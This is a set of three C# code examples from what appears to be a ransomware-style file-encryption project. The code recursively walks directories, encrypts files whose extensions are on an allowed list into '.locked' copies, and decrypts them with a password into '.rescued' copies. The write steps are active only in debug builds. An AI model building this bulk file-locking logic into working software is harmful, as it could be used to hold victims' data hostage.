Пример #1
0
        private void ProcessFile2DecCallback(object obj)
        {
            TaskObject taskObject = (TaskObject)obj;
            var        filePath   = taskObject.FilePath;

            byte[] bytes2DecryptWSalt = File.ReadAllBytes(filePath);
            byte[] salt          = this.decrypter.ExtractSalt(bytes2DecryptWSalt);
            byte[] bytes2Decrypt = this.decrypter.
                                   ExtractBytes2Dec(bytes2DecryptWSalt);

            try
            {
                byte[] plainText = this.decrypter.DecryptBytes(
                    bytes2Decrypt, taskObject.Pwd, salt
                    );
#if DEBUG
                string fileNoExtension =
                    Path.GetFileNameWithoutExtension(filePath);
                string fileDir     = Path.GetDirectoryName(filePath);
                string rescuedPath = Path.Combine(fileDir, fileNoExtension +
                                                  ".rescued");
                Writter.WriteBytes2File(plainText, rescuedPath);
#else
#endif
            }
            catch (CryptographicException)
            {
                Console.WriteLine("Process File 2 Decrypt Thread " +
                                  "Callback Exception");
                System.Environment.Exit(1);
            }
        }
Пример #2
0
        private void ProcessDirectory(string path)
        {
#if DEBUG
            Console.WriteLine("Processing dir: " + path);
#endif
            string[] files            = Directory.GetFiles(path);
            string[] childDirectories = Directory.GetDirectories(path);

            foreach (string filePath in files)
            {
                string     ext        = Path.GetExtension(filePath);
                TaskObject taskObject = new TaskObject(filePath, this.pwd);
                if (this.IsEncryptionMode())
                {
                    if (this.IsValidPlainTextExtension(ext))
                    {
                        var resetEvent = new ManualResetEvent(false);
                        ThreadPool.QueueUserWorkItem(
                            arg =>
                        {
                            ProcessFile2EncCallback(taskObject);
                            resetEvent.Set();
                        });
                        resetEvent.WaitOne();
                    }
                }
                else
                {
                    if (this.IsValidCipherTextExtension(ext))
                    {
                        var resetEvent = new ManualResetEvent(false);
                        ThreadPool.QueueUserWorkItem(
                            arg =>
                        {
                            ProcessFile2DecCallback(taskObject);
                            resetEvent.Set();
                        });
                        resetEvent.WaitOne();
                    }
                }
            }

            foreach (string dir in childDirectories)
            {
                this.ProcessDirectory(dir);
            }
        }
Пример #3
0
        private void ProcessFile2EncCallback(object obj)
        {
            TaskObject taskObject = (TaskObject)obj;
            var        filePath   = taskObject.FilePath;

            byte[] generatedSalt = this.encrypter.GenerateRandomSalt();
            byte[] bytes2Encrypt = File.ReadAllBytes(filePath);
            byte[] encrypted     = this.encrypter.EncryptBytes(
                bytes2Encrypt, taskObject.Pwd, generatedSalt
                );
#if DEBUG
            Writter.WriteBytes2File(encrypted, filePath + ".locked");
            Console.WriteLine("[T: " + Thread.CurrentThread.ManagedThreadId +
                              "] " + filePath + " | " +
                              Utilities.ConvertBytes2B64(generatedSalt));
            Console.WriteLine("Encrypted bytes: " +
                              Utilities.ConvertBytes2B64(encrypted));
#else
#endif
        }